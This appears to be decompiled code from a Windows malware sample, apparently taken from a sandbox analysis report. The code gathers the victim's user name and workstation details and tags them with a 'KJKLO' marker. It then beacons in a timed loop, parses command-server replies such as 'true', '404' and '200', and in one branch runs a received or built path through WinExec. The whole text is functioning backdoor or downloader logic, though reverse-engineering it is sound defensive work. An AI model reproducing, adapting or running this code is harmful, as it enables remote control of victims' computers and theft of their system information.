							_t1259 = 2 + _t1167 * 2;
							_t788 = _t1087;
							__eflags = _t1259 - 0x1000;
							if(_t1259 >= 0x1000) {
								_t1087 =  *((intOrPtr*)(_t1087 - 4));
								_t1259 = _t1259 + 0x23;
								_t788 = _t788 - _t1087 + 0xfffffffc;
								__eflags = _t788 - 0x1f;
								if(_t788 > 0x1f) {
									goto L27;
								}
							}
							goto L28;
						}
					} else {
						_t1088 = _v66108;
						_t1260 = _t1166 + 1;
						_t791 = _t1088;
						__eflags = _t1260 - 0x1000;
						if(_t1260 < 0x1000) {
							L23:
							_push(_t1260);
							E10008291(_t791, _t1088);
							_t1306 = _t1306 + 8;
							goto L24;
						} else {
							_t1087 =  *((intOrPtr*)(_t1088 - 4));
							_t1259 = _t1260 + 0x23;
							_t788 = _t791 - _t1087 + 0xfffffffc;
							__eflags = _t791 - _t1087 + 0xfffffffc - 0x1f;
							if(_t791 - _t1087 + 0xfffffffc > 0x1f) {
								L27:
								__imp___invalid_parameter_noinfo_noreturn();
								L28:
								_push(_t1259);
								E10008291(_t788, _t1087);
								_t1306 = _t1306 + 8;
							} else {
								goto L23;
							}
						}
					}
				} else {
					_t1154 = _v66068;
					_push(6);
					_push("NONE\t\t");
					if(_v66064 - _t1154 < 6) {
						_v66468 = 0;
						_push(_v66468);
						_push(6);
						E100079E0(__ebx,  &_v66084, _t1263);
					} else {
						_t1299 =  >=  ? _v66084 :  &_v66084;
						_t1276 = ( >=  ? _v66084 :  &_v66084) + _t1154;
						_v66068 = _t1154 + 6;
						memmove(_t1276, ??, ??);
						_t1306 = _t1306 + 0xc;
						 *((char*)(_t1276 + 6)) = 0;
					}
				}
				_t689 = GetUserNameW( &_v65556,  &_v66184); // executed
				if(_t689 != 0) {
					__eflags = 0;
					_v66044 = 0;
					_t1025 =  &_v65556;
					_v66040 = 7;
					_v66060 = 0;
					_t1168 = _t1025 + 2;
					do {
						_t691 =  *_t1025;
						_t1025 = _t1025 + 2;
						__eflags = _t691;
					} while (_t691 != 0);
					_push(_t1025 - _t1168 >> 1);
					E100069D0(_t1007,  &_v66060, _t1263, _t1276,  &_v65556);
					_v8 = 8;
					__eflags = _v66040 - 8;
					_t1170 =  >=  ? _v66060 :  &_v66060;
					_v66092 = 0;
					_v66088 = 0xf;
					_v66108 = 0;
					_t1278 = ( >=  ? _v66060 :  &_v66060) + _v66044 * 2;
					_t1172 =  >=  ? _v66060 :  &_v66060;
					_v66468 =  >=  ? _v66060 :  &_v66060;
					E10007BE0( &_v66108, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2 - ( >=  ? _v66060 :  &_v66060) >> 1);
					_push(_v66484);
					E100080F0( &_v66108, _v66468, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2);
					_v8 = 9;
					_t700 = E100070C0( &_v66156,  &_v66108, "\t\t");
					_t1306 = _t1306 + 4;
					_v8 = 0xa;
					_t1174 = _t700;
					__eflags =  *((intOrPtr*)(_t700 + 0x14)) - 0x10;
					if( *((intOrPtr*)(_t700 + 0x14)) >= 0x10) {
						_t1174 =  *_t700;
					}
					_t1264 =  *((intOrPtr*)(_t700 + 0x10));
					_t1032 = _v66068;
					_v66468 = _t1032;
					_push(_t1264);
					_push(_t1174);
					__eflags = _t1264 - _v66064 - _t1032;
					if(_t1264 > _v66064 - _t1032) {
						_v66468 = 0;
						_push(_v66468);
						_push(_t1264);
						E100079E0(_t1007,  &_v66084, _t1264);
					} else {
						__eflags = _v66064 - 0x10;
						_t1297 =  >=  ? _v66084 :  &_v66084;
						_v66068 = _t1032 + _t1264;
						memmove(_t1297 + _t1032, ??, ??);
						_t1306 = _t1306 + 0xc;
						 *((char*)(_t1264 + _t1297 + _v66468)) = 0;
					}
					_v8 = 9;
					_t1175 = _v66136;
					__eflags = _t1175 - 0x10;
					if(_t1175 >= 0x10) {
						_t1152 = _v66156;
						_t1257 = _t1175 + 1;
						_t985 = _t1152;
						__eflags = _t1257 - 0x1000;
						if(_t1257 >= 0x1000) {
							_t1152 =  *((intOrPtr*)(_t1152 - 4));
							_t1257 = _t1257 + 0x23;
							_t985 = _t985 - _t1152 + 0xfffffffc;
							__eflags = _t985 - 0x1f;
							if(_t985 > 0x1f) {
								__imp___invalid_parameter_noinfo_noreturn();
							}
						}
						_push(_t1257);
						E10008291(_t985, _t1152);
						_t1306 = _t1306 + 8;
					}
					_v8 = 8;
					_t1176 = _v66088;
					__eflags = _t1176 - 0x10;
					if(_t1176 < 0x10) {
						L49:
						_v8 = 4;
						_t1177 = _v66040;
						__eflags = _t1177 - 8;
						if(_t1177 >= 8) {
							_t1150 = _v66060;
							_t1255 = 2 + _t1177 * 2;
							_t979 = _t1150;
							__eflags = _t1255 - 0x1000;
							if(_t1255 >= 0x1000) {
								_t1150 =  *((intOrPtr*)(_t1150 - 4));
								_t1255 = _t1255 + 0x23;
								_t979 = _t979 - _t1150 + 0xfffffffc;
								__eflags = _t979 - 0x1f;
								if(_t979 > 0x1f) {
									goto L52;
								}
							}
							goto L53;
						}
					} else {
						_t1151 = _v66108;
						_t1256 = _t1176 + 1;
						_t982 = _t1151;
						__eflags = _t1256 - 0x1000;
						if(_t1256 < 0x1000) {
							L48:
							_push(_t1256);
							E10008291(_t982, _t1151);
							_t1306 = _t1306 + 8;
							goto L49;
						} else {
							_t1150 =  *((intOrPtr*)(_t1151 - 4));
							_t1255 = _t1256 + 0x23;
							_t979 = _t982 - _t1150 + 0xfffffffc;
							__eflags = _t982 - _t1150 + 0xfffffffc - 0x1f;
							if(_t982 - _t1150 + 0xfffffffc > 0x1f) {
								L52:
								__imp___invalid_parameter_noinfo_noreturn();
								L53:
								_push(_t1255);
								E10008291(_t979, _t1150);
								_t1306 = _t1306 + 8;
							} else {
								goto L48;
							}
						}
					}
				} else {
					_t1085 = _v66068;
					_push(6);
					_push("NONE\t\t");
					if(_v66064 - _t1085 < 6) {
						_v66468 = 0;
						_push(_v66468);
						_push(6);
						E100079E0(_t1007,  &_v66084, _t1263);
					} else {
						_t1287 =  >=  ? _v66084 :  &_v66084;
						_t1288 = ( >=  ? _v66084 :  &_v66084) + _t1085;
						_v66068 = _t1085 + 6;
						memmove(_t1288, ??, ??);
						_t1306 = _t1306 + 0xc;
						 *((char*)(_t1288 + 6)) = 0;
					}
				}
				_t704 = E100070C0( &_v66156,  &_v66256, "\t\t");
				_t1307 = _t1306 + 4;
				_v8 = 0xb;
				_t1035 = _t704;
				if( *((intOrPtr*)(_t704 + 0x14)) >= 0x10) {
					_t1035 =  *_t704;
				}
				_t1263 =  *(_t704 + 0x10);
				_t1279 = _v66064;
				_t1179 = _v66068;
				_push(_t1263);
				_push(_t1035);
				if(_t1263 > _v66064 - _t1179) {
					_v66468 = 0;
					_push(_v66468);
					_push(_t1263);
					E100079E0(_t1007,  &_v66084, _t1263);
				} else {
					_v66068 = _t1179 + _t1263;
					_t977 =  >=  ? _v66084 :  &_v66084;
					_t1279 = ( >=  ? _v66084 :  &_v66084) + _t1179;
					memmove(_t1279, ??, ??);
					_t1307 = _t1307 + 0xc;
					 *((char*)(_t1279 + _t1263)) = 0;
				}
				_v8 = 4;
				_t1180 = _v66136;
				if(_t1180 >= 0x10) {
					_t1149 = _v66156;
					_t1254 = _t1180 + 1;
					_t972 = _t1149;
					if(_t1254 >= 0x1000) {
						_t1149 =  *((intOrPtr*)(_t1149 - 4));
						_t1254 = _t1254 + 0x23;
						if(_t972 > 0x1f) {
							__imp___invalid_parameter_noinfo_noreturn();
						}
					}
					_push(_t1254);
					E10008291(_t972, _t1149);
					_t1307 = _t1307 + 8;
				}
				_t708 =  &_v66464;
				_v66464 = 0;
				__imp__NetWkstaGetInfo(0, 0x64, _t708); // executed
				if(_t708 != 0) {
					_t1181 = _v66064;
					_t1037 = _v66068;
					_push(6);
					_push("NONE\t\t");
					__eflags = _t1181 - _t1037 - 6;
					if(_t1181 - _t1037 < 6) {
						_v66468 = 0;
						_push(_v66468);
						_push(6);
						E100079E0(_t1007,  &_v66084, _t1263);
					} else {
						__eflags = _t1181 - 0x10;
						_t1293 =  >=  ? _v66084 :  &_v66084;
						_t1279 = ( >=  ? _v66084 :  &_v66084) + _t1037;
						_v66068 = _t1037 + 6;
						memmove(_t1279, ??, ??);
						_t1307 = _t1307 + 0xc;
						 *((char*)(_t1279 + 6)) = 0;
					}
				} else {
					_t1243 =  *((intOrPtr*)(_v66464 + 8));
					_t1137 =  *((intOrPtr*)(_v66464 + 8));
					_v66044 = 0;
					_v66040 = 7;
					_v66060 = 0;
					_t1294 = _t1137 + 2;
					do {
						_t947 =  *_t1137;
						_t1137 = _t1137 + 2;
					} while (_t947 != 0);
					_push(_t1137 - _t1294 >> 1);
					E100069D0(_t1007,  &_v66060, _t1263, _t1294, _t1243);
					_v8 = 0xc;
					_t1245 =  >=  ? _v66060 :  &_v66060;
					_v66092 = 0;
					_v66088 = 0xf;
					_v66108 = 0;
					_t1295 = ( >=  ? _v66060 :  &_v66060) + _v66044 * 2;
					_t1247 =  >=  ? _v66060 :  &_v66060;
					_v66468 =  >=  ? _v66060 :  &_v66060;
					E10007BE0( &_v66108, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2 - ( >=  ? _v66060 :  &_v66060) >> 1);
					_push(_v66484);
					E100080F0( &_v66108, _v66468, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2);
					_v8 = 0xd;
					_t955 = E100070C0( &_v66156,  &_v66108, "\t\t");
					_t1307 = _t1307 + 4;
					_v8 = 0xe;
					_t1249 = _t955;
					if( *((intOrPtr*)(_t955 + 0x14)) >= 0x10) {
						_t1249 =  *_t955;
					}
					_t1263 =  *(_t955 + 0x10);
					_t1279 = _v66064;
					_t1144 = _v66068;
					_push(_t1263);
					_push(_t1249);
					if(_t1263 > _v66064 - _t1144) {
						_v66468 = 0;
						_push(_v66468);
						_push(_t1263);
						E100079E0(_t1007,  &_v66084, _t1263);
					} else {
						_v66068 = _t1144 + _t1263;
						_t970 =  >=  ? _v66084 :  &_v66084;
						_t1279 = ( >=  ? _v66084 :  &_v66084) + _t1144;
						memmove(_t1279, ??, ??);
						_t1307 = _t1307 + 0xc;
						 *((char*)(_t1279 + _t1263)) = 0;
					}
					_v8 = 0xd;
					_t1250 = _v66136;
					if(_t1250 >= 0x10) {
						_t1148 = _v66156;
						_t1253 = _t1250 + 1;
						_t965 = _t1148;
						if(_t1253 >= 0x1000) {
							_t1148 =  *((intOrPtr*)(_t1148 - 4));
							_t1253 = _t1253 + 0x23;
							if(_t965 > 0x1f) {
								__imp___invalid_parameter_noinfo_noreturn();
							}
						}
						_push(_t1253);
						E10008291(_t965, _t1148);
						_t1307 = _t1307 + 8;
					}
					_v8 = 0xc;
					_t1251 = _v66088;
					if(_t1251 < 0x10) {
						L81:
						_v8 = 4;
						_t1181 = _v66040;
						if(_t1181 >= 8) {
							_t1146 = _v66060;
							_t1181 = 2 + _t1181 * 2;
							_t959 = _t1146;
							if(_t1181 >= 0x1000) {
								_t1146 =  *((intOrPtr*)(_t1146 - 4));
								_t1181 = _t1181 + 0x23;
								if(_t959 > 0x1f) {
									goto L84;
								}
							}
							goto L85;
						}
					} else {
						_t1147 = _v66108;
						_t1252 = _t1251 + 1;
						_t962 = _t1147;
						if(_t1252 < 0x1000) {
							L80:
							_push(_t1252);
							E10008291(_t962, _t1147);
							_t1307 = _t1307 + 8;
							goto L81;
						} else {
							_t1146 =  *((intOrPtr*)(_t1147 - 4));
							_t1181 = _t1252 + 0x23;
							_t959 = _t962 - _t1146 + 0xfffffffc;
							if(_t962 - _t1146 + 0xfffffffc > 0x1f) {
								L84:
								__imp___invalid_parameter_noinfo_noreturn();
								L85:
								_push(_t1181);
								E10008291(_t959, _t1146);
								_t1307 = _t1307 + 8;
							} else {
								goto L80;
							}
						}
					}
				}
				_t712 = _v66464;
				_t1357 = _t712;
				if(_t712 != 0) {
					NetApiBufferFree(_t712);
				}
				_t1308 = _t1307 - 0x18;
				_t1039 = _t1308;
				_v66484 = _t1308;
				 *(_t1039 + 0x10) = 0;
				 *(_t1039 + 0x14) = 0xf;
				 *_t1039 = 0;
				E10006CC0(_t1007, _t1039, _t1181, "KJKLO", 5);
				_t1309 = _t1308 - 0x18;
				_v8 = 0xf;
				E10005BC0(_t1309, _t1181,  &_v66084);
				_v8 = 4;
				_t716 = E100019B0( &_v66156, _t1181, _t1357);
				_t1310 = _t1309 + 0x30;
				E10005AA0( &_v66084, _t1263, _t1279, _t716);
				_t1182 = _v66136;
				if(_t1182 >= 0x10) {
					_t1136 = _v66156;
					_t1242 = _t1182 + 1;
					_t939 = _t1136;
					if(_t1242 >= 0x1000) {
						_t1136 =  *((intOrPtr*)(_t1136 - 4));
						_t1242 = _t1242 + 0x23;
						if(_t939 > 0x1f) {
							__imp___invalid_parameter_noinfo_noreturn();
						}
					}
					_push(_t1242);
					E10008291(_t939, _t1136);
					_t1310 = _t1310 + 8;
				}
				_push(_v66068);
				_t1184 =  >=  ? _v66084 :  &_v66084;
				_t718 = E10001470( &_v66156,  >=  ? _v66084 :  &_v66084);
				_t1311 = _t1310 + 4;
				E10005AA0( &_v66084, _t1263, _t1279, _t718);
				_t1185 = _v66136;
				if(_t1185 >= 0x10) {
					_t1135 = _v66156;
					_t1185 = _t1185 + 1;
					_t936 = _t1135;
					if(_t1185 >= 0x1000) {
						_t1135 =  *((intOrPtr*)(_t1135 - 4));
						_t1185 = _t1185 + 0x23;
						if(_t936 > 0x1f) {
							__imp___invalid_parameter_noinfo_noreturn();
						}
					}
					_push(_t1185);
					E10008291(_t936, _t1135);
					_t1311 = _t1311 + 8;
				}
				_v66116 = 0;
				_v66112 = 0xf;
				_v66132 = 0;
				E10006CC0(_t1007,  &_v66132, _t1185, 0x1000a2e5, 0);
				_v8 = 0x10;
				memset( &_v66456, 0, 0xb0);
				_t1312 = _t1311 + 8;
				E10005E00( &_v66456);
				_v8 = 0x11;
				_v66468 = 0;
				do {
					Sleep(0x5dc0); // executed
					_t1313 = _t1312 - 0x18;
					_v66476 = _t1313;
					E10005BC0(_t1313, _t1185,  &_v66084);
					_t1314 = _t1313 - 0x18;
					_v8 = 0x12;
					_t1048 = _t1314;
					 *(_t1048 + 0x10) = 0;
					 *(_t1048 + 0x14) = 0xf;
					 *_t1048 = 0;
					E10006CC0(_t1007, _t1048, _t1185, 0x1000a2e5, 0);
					_v8 = 0x11;
					_t727 = E10001DB0(_t1007,  &_v66156, _t1185, _t1263, _t1279); // executed
					_t1276 = _t727;
					_t1315 = _t1314 + 0x30;
					if( &_v66132 != _t1276) {
						_t1240 = _v66112;
						if(_t1240 < 0x10) {
							L107:
							_v66116 = 0;
							_v66112 = 0xf;
							_v66132 = 0;
							asm("movups xmm0, [esi]");
							asm("movups [ebp-0x10250], xmm0");
							asm("movq xmm0, [esi+0x10]");
							asm("movq [ebp-0x10240], xmm0");
							 *(_t1276 + 0x10) = 0;
							 *(_t1276 + 0x14) = 0xf;
							 *_t1276 = 0;
						} else {
							_t1134 = _v66132;
							_t1241 = _t1240 + 1;
							_t933 = _t1134;
							if(_t1241 < 0x1000) {
								L106:
								_push(_t1241);
								E10008291(_t933, _t1134); // executed
								_t1315 = _t1315 + 8;
								goto L107;
							} else {
								_t1084 =  *((intOrPtr*)(_t1134 - 4));
								_t1185 = _t1241 + 0x23;
								_t784 = _t933 - _t1084 + 0xfffffffc;
								if(_t933 - _t1084 + 0xfffffffc > 0x1f) {
									goto L18;
								} else {
									goto L106;
								}
							}
						}
					}
					_t1186 = _v66136;
					if(_t1186 >= 0x10) {
						_t1133 = _v66156;
						_t1239 = _t1186 + 1;
						_t930 = _t1133;
						if(_t1239 < 0x1000) {
							L111:
							_push(_t1239);
							E10008291(_t930, _t1133);
							_t1315 = _t1315 + 8;
						} else {
							_t1084 =  *((intOrPtr*)(_t1133 - 4));
							_t1185 = _t1239 + 0x23;
							_t784 = _t930 - _t1084 + 0xfffffffc;
							if(_t930 - _t1084 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L111;
							}
						}
					}
					_v66092 = 0;
					_t1188 =  >=  ? _v66132 :  &_v66132;
					_t1050 =  >=  ? _v66132 :  &_v66132;
					_v66088 = 0xf;
					_v66108 = 0;
					_t1280 = _t1050 + 1;
					do {
						_t729 =  *_t1050;
						_t1050 = _t1050 + 1;
					} while (_t729 != 0);
					E10006CC0(_t1007,  &_v66108, _t1188, _t1188, _t1050 - _t1280);
					_v8 = 0x14;
					_t1276 = E100016E0( &_v66180,  &_v66108);
					if( &_v66132 != _t1276) {
						_t1237 = _v66112;
						if(_t1237 < 0x10) {
							L119:
							_v66116 = 0;
							_v66112 = 0xf;
							_v66132 = 0;
							asm("movups xmm0, [esi]");
							asm("movups [ebp-0x10250], xmm0");
							asm("movq xmm0, [esi+0x10]");
							asm("movq [ebp-0x10240], xmm0");
							 *(_t1276 + 0x10) = 0;
							 *(_t1276 + 0x14) = 0xf;
							 *_t1276 = 0;
						} else {
							_t1132 = _v66132;
							_t1238 = _t1237 + 1;
							_t927 = _t1132;
							if(_t1238 < 0x1000) {
								L118:
								_push(_t1238);
								E10008291(_t927, _t1132);
								_t1315 = _t1315 + 8;
								goto L119;
							} else {
								_t1084 =  *((intOrPtr*)(_t1132 - 4));
								_t1185 = _t1238 + 0x23;
								_t784 = _t927 - _t1084 + 0xfffffffc;
								if(_t927 - _t1084 + 0xfffffffc > 0x1f) {
									goto L18;
								} else {
									goto L118;
								}
							}
						}
					}
					_t1190 = _v66160;
					if(_t1190 >= 0x10) {
						_t1131 = _v66180;
						_t1236 = _t1190 + 1;
						_t924 = _t1131;
						if(_t1236 < 0x1000) {
							L123:
							_push(_t1236);
							E10008291(_t924, _t1131);
							_t1315 = _t1315 + 8;
						} else {
							_t1084 =  *((intOrPtr*)(_t1131 - 4));
							_t1185 = _t1236 + 0x23;
							_t784 = _t924 - _t1084 + 0xfffffffc;
							if(_t924 - _t1084 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L123;
							}
						}
					}
					_v8 = 0x11;
					_t1191 = _v66088;
					_v66164 = 0;
					_v66160 = 0xf;
					_v66180 = 0;
					if(_t1191 >= 0x10) {
						_t1130 = _v66108;
						_t1191 = _t1191 + 1;
						_t921 = _t1130;
						if(_t1191 < 0x1000) {
							L127:
							_push(_t1191);
							E10008291(_t921, _t1130);
							_t1315 = _t1315 + 8;
						} else {
							_t1084 =  *((intOrPtr*)(_t1130 - 4));
							_t1185 = _t1191 + 0x23;
							_t784 = _t921 - _t1084 + 0xfffffffc;
							_t1383 = _t921 - _t1084 + 0xfffffffc - 0x1f;
							if(_t921 - _t1084 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L127;
							}
						}
					}
					_t1316 = _t1315 - 0x18;
					_t1054 = _t1316;
					_v66476 = _t1316;
					 *(_t1054 + 0x10) = 0;
					 *(_t1054 + 0x14) = 0xf;
					 *_t1054 = 0;
					E10006CC0(_t1007, _t1054, _t1191, "KJKLO", 5);
					_t1317 = _t1316 - 0x18;
					_v8 = 0x16;
					E10005BC0(_t1317, _t1191,  &_v66132);
					_v8 = 0x11;
					_t736 = E100019B0( &_v66156, _t1191, _t1383); // executed
					_t1276 = _t736;
					_t1312 = _t1317 + 0x30;
					if( &_v66132 != _t1276) {
						_t1234 = _v66112;
						if(_t1234 < 0x10) {
							L133:
							_v66116 = 0;
							_v66112 = 0xf;
							_v66132 = 0;
							asm("movups xmm0, [esi]");
							asm("movups [ebp-0x10250], xmm0");
							asm("movq xmm0, [esi+0x10]");
							asm("movq [ebp-0x10240], xmm0");
							 *(_t1276 + 0x10) = 0;
							 *(_t1276 + 0x14) = 0xf;
							 *_t1276 = 0;
						} else {
							_t1129 = _v66132;
							_t1235 = _t1234 + 1;
							_t918 = _t1129;
							if(_t1235 < 0x1000) {
								L132:
								_push(_t1235);
								E10008291(_t918, _t1129);
								_t1312 = _t1312 + 8;
								goto L133;
							} else {
								_t1084 =  *((intOrPtr*)(_t1129 - 4));
								_t1185 = _t1235 + 0x23;
								_t784 = _t918 - _t1084 + 0xfffffffc;
								if(_t918 - _t1084 + 0xfffffffc > 0x1f) {
									goto L18;
								} else {
									goto L132;
								}
							}
						}
					}
					_t1192 = _v66136;
					if(_t1192 >= 0x10) {
						_t1128 = _v66156;
						_t1233 = _t1192 + 1;
						_t915 = _t1128;
						if(_t1233 < 0x1000) {
							L137:
							_push(_t1233);
							E10008291(_t915, _t1128);
							_t1312 = _t1312 + 8;
						} else {
							_t1084 =  *((intOrPtr*)(_t1128 - 4));
							_t1185 = _t1233 + 0x23;
							_t784 = _t915 - _t1084 + 0xfffffffc;
							if(_t915 - _t1084 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L137;
							}
						}
					}
					_push(E10005A50);
					_push(E10005BA0);
					_push(0x14);
					_push(0x18);
					_push( &_v66036);
					E10008832();
					_t1263 = 0;
					_v8 = 0x18;
					_v66472 = 0;
					_t1276 =  &_v66036;
					while(1) {
						_t740 = E10005940( &_v66132, "\r\n\t\t\n\r", _t1263);
						_v66476 = _t740;
						if(_t740 <= 0) {
							break;
						}
						_t1229 = _v66116;
						_v66044 = 0;
						_v66040 = 0xf;
						_v66060 = 0;
						if(_t1229 < _t1263) {
							E100070B0( &_v66132, _t1229);
							asm("int3");
							asm("int3");
							asm("int3"); // executed
							E10003B10(_t1007, _t1263, _t1276); // executed
							__eflags = 0;
							return 0;
						} else {
							_t1123 =  <  ? _t1229 - _t1263 : _t740 - _t1263;
							_t903 =  >=  ? _v66132 :  &_v66132;
							_t904 = ( >=  ? _v66132 :  &_v66132) + _t1263;
							E10006CC0(_t1007,  &_v66060, _t1229 - _t1263, ( >=  ? _v66132 :  &_v66132) + _t1263,  <  ? _t1229 - _t1263 : _t740 - _t1263);
							_v66480 = _v66480 | 0x00000001;
							if(_t1276 ==  &_v66060) {
								_t1231 = _v66040;
								__eflags = _t1231 - 0x10;
								if(_t1231 < 0x10) {
									goto L152;
								} else {
									_t1125 = _v66060;
									_t1232 = _t1231 + 1;
									_t909 = _t1125;
									__eflags = _t1232 - 0x1000;
									if(_t1232 < 0x1000) {
										L151:
										_push(_t1232);
										E10008291(_t909, _t1125);
										_t1312 = _t1312 + 8;
										goto L152;
									} else {
										_t1084 =  *((intOrPtr*)(_t1125 - 4));
										_t1185 = _t1232 + 0x23;
										_t784 = _t909 - _t1084 + 0xfffffffc;
										__eflags = _t909 - _t1084 + 0xfffffffc - 0x1f;
										if(_t909 - _t1084 + 0xfffffffc > 0x1f) {
											goto L18;
										} else {
											goto L151;
										}
									}
								}
							} else {
								_t1126 =  *(_t1276 + 0x14);
								if(_t1126 < 0x10) {
									L147:
									asm("movups xmm0, [ebp-0x10208]");
									 *(_t1276 + 0x10) = 0;
									 *(_t1276 + 0x14) = 0xf;
									 *_t1276 = 0;
									asm("movups [esi], xmm0");
									asm("movq xmm0, [ebp-0x101f8]");
									asm("movq [esi+0x10], xmm0");
									L152:
									_t1276 = _t1276 + 0x18;
									_t908 =  &(_v66472[1]);
									_t1263 = _v66476 + 6;
									_v66472 = _t908;
									if(_t908 <= 0x14) {
										continue;
									} else {
										break;
									}
								} else {
									_t912 =  *_t1276;
									_t1127 = _t1126 + 1;
									if(_t1127 < 0x1000) {
										L146:
										_push(_t1127);
										E10008291(_t912, _t912);
										_t1312 = _t1312 + 8;
										goto L147;
									} else {
										_t1185 =  *(_t912 - 4);
										_t1084 = _t1127 + 0x23;
										_t784 = _t912 - _t1185 + 0xfffffffc;
										if(_t912 - _t1185 + 0xfffffffc > 0x1f) {
											goto L18;
										} else {
											_t912 = _t1185;
											goto L146;
										}
									}
								}
							}
						}
						L310:
					}
					_t1265 = _v65852;
					_t1059 =  >=  ? _v65868 :  &_v65868;
					_t1193 = "true";
					_t1282 =  >  ? 4 : _t1265;
					_t1283 = ( >  ? 4 : _t1265) - 4;
					if(_t1283 < 0) {
						L156:
						if(_t1283 == 0xfffffffc) {
							goto L165;
						} else {
							goto L157;
						}
					} else {
						while( *_t1059 ==  *_t1193) {
							_t1059 = _t1059 + 4;
							_t1193 = _t1193 + 4;
							_t1283 = _t1283 - 4;
							if(_t1283 >= 0) {
								continue;
							} else {
								goto L156;
							}
							goto L166;
						}
						L157:
						_t897 =  *_t1059;
						if(_t897 !=  *_t1193) {
							L164:
							asm("sbb eax, eax");
							_t742 = _t897 | 0x00000001;
						} else {
							if(_t1283 == 0xfffffffd) {
								L165:
								_t742 = 0;
								__eflags = 0;
							} else {
								_t897 =  *((intOrPtr*)(_t1059 + 1));
								if(_t897 !=  *((intOrPtr*)(_t1193 + 1))) {
									goto L164;
								} else {
									if(_t1283 == 0xfffffffe) {
										goto L165;
									} else {
										_t897 =  *((intOrPtr*)(_t1059 + 2));
										if(_t897 !=  *((intOrPtr*)(_t1193 + 2))) {
											goto L164;
										} else {
											if(_t1283 == 0xffffffff) {
												goto L165;
											} else {
												_t897 =  *((intOrPtr*)(_t1059 + 3));
												if(_t897 ==  *((intOrPtr*)(_t1193 + 3))) {
													goto L165;
												} else {
													goto L164;
												}
											}
										}
									}
								}
							}
						}
					}
					L166:
					if(_t742 != 0) {
						L169:
						_t1061 =  >=  ? _v66036 :  &_v66036;
						_t1185 = "404";
						_t1279 =  >  ? 3 : _v66020;
						_t1267 = _t1279 - 4;
						if(_t1267 < 0) {
							L173:
							if(_t1267 == 0xfffffffc) {
								goto L182;
							} else {
								goto L174;
							}
						} else {
							while( *_t1061 ==  *_t1185) {
								_t1061 = _t1061 + 4;
								_t1185 = _t1185 + 4;
								_t1267 = _t1267 - 4;
								if(_t1267 >= 0) {
									continue;
								} else {
									goto L173;
								}
								goto L183;
							}
							L174:
							_t893 =  *_t1061;
							if(_t893 !=  *_t1185) {
								L181:
								asm("sbb eax, eax");
								_t744 = _t893 | 0x00000001;
							} else {
								if(_t1267 == 0xfffffffd) {
									L182:
									_t744 = 0;
									__eflags = 0;
								} else {
									_t893 =  *((intOrPtr*)(_t1061 + 1));
									if(_t893 !=  *(_t1185 + 1)) {
										goto L181;
									} else {
										if(_t1267 == 0xfffffffe) {
											goto L182;
										} else {
											_t893 =  *((intOrPtr*)(_t1061 + 2));
											if(_t893 !=  *((intOrPtr*)(_t1185 + 2))) {
												goto L181;
											} else {
												if(_t1267 == 0xffffffff) {
													goto L182;
												} else {
													_t893 =  *((intOrPtr*)(_t1061 + 3));
													if(_t893 ==  *((intOrPtr*)(_t1185 + 3))) {
														goto L182;
													} else {
														goto L181;
													}
												}
											}
										}
									}
								}
							}
						}
						L183:
						_t1263 = _v66020;
						if(_t744 != 0) {
							L186:
							_t1185 = "200";
							_t1063 =  >=  ? _v66036 :  &_v66036;
							_t1279 = _t1279 - 4;
							if(_t1279 < 0) {
								L190:
								if(_t1279 == 0xfffffffc) {
									goto L199;
								} else {
									goto L191;
								}
							} else {
								while( *_t1063 ==  *_t1185) {
									_t1063 = _t1063 + 4;
									_t1185 = _t1185 + 4;
									_t1279 = _t1279 - 4;
									if(_t1279 >= 0) {
										continue;
									} else {
										goto L190;
									}
									goto L200;
								}
								L191:
								_t891 =  *_t1063;
								if(_t891 !=  *_t1185) {
									L198:
									asm("sbb eax, eax");
									_t745 = _t891 | 0x00000001;
								} else {
									if(_t1279 == 0xfffffffd) {
										L199:
										_t745 = 0;
										__eflags = 0;
									} else {
										_t891 =  *((intOrPtr*)(_t1063 + 1));
										if(_t891 !=  *(_t1185 + 1)) {
											goto L198;
										} else {
											if(_t1279 == 0xfffffffe) {
												goto L199;
											} else {
												_t891 =  *((intOrPtr*)(_t1063 + 2));
												if(_t891 !=  *((intOrPtr*)(_t1185 + 2))) {
													goto L198;
												} else {
													if(_t1279 == 0xffffffff) {
														goto L199;
													} else {
														_t891 =  *((intOrPtr*)(_t1063 + 3));
														if(_t891 ==  *((intOrPtr*)(_t1185 + 3))) {
															goto L199;
														} else {
															goto L198;
														}
													}
												}
											}
										}
									}
								}
							}
							L200:
							if(_t745 != 0) {
								L277:
								 *0x1000d5c0 =  *0x1000d5c0 + 1;
								__eflags =  *0x1000d5c0;
								goto L278;
							} else {
								_t1444 = _t1263 - 3;
								if(_t1444 < 0 || _t1444 > 0) {
									goto L277;
								} else {
									if(_v65900 <= 0x64) {
										L231:
										if(_v65876 <= 0x64) {
											L259:
											if(_v65684 <= 0xa) {
												L267:
												_t1498 = _v65924 - 0xa;
												if(_v65924 <= 0xa) {
													L276:
													 *0x1000d5bc =  *0x1000d5bc + 1;
													goto L278;
												} else {
													E10005BC0( &_v66180, _t1185,  &_v65940);
													_v8 = 0x27;
													E10005BC0( &_v66156, _t1185,  &_v65748);
													_t1320 = _t1312 - 0x18;
													_v8 = 0x29;
													_v66476 = _t1320;
													E10005BC0(_t1320, _t1185,  &_v66180);
													_t1321 = _t1320 - 0x18;
													_v8 = 0x2a;
													E10005BC0(_t1321, _t1185,  &_v66156);
													_v8 = 0x29;
													E10001BA0(_t1007, _t1263, _t1279, _t1498);
													_t1312 = _t1321 + 0x30;
													_t782 =  >=  ? _v65724 :  &_v65724;
													WinExec( >=  ? _v65724 :  &_v65724, 0);
													_v8 = 0x27;
													_t1204 = _v66136;
													if(_t1204 < 0x10) {
														L272:
														_v8 = 0x18;
														_t1185 = _v66160;
														if(_t1185 < 0x10) {
															goto L276;
														} else {
															_t1084 = _v66180;
															_t1185 = _t1185 + 1;
															_t784 = _t1084;
															if(_t1185 < 0x1000) {
																L275:
																_push(_t1185);
																E10008291(_t784, _t1084);
																_t1312 = _t1312 + 8;
																goto L276;
															} else {
																_t1084 =  *((intOrPtr*)(_t1084 - 4));
																_t1185 = _t1185 + 0x23;
																if(_t784 > 0x1f) {
																	goto L18;
																} else {
																	goto L275;
																}
															}
														}
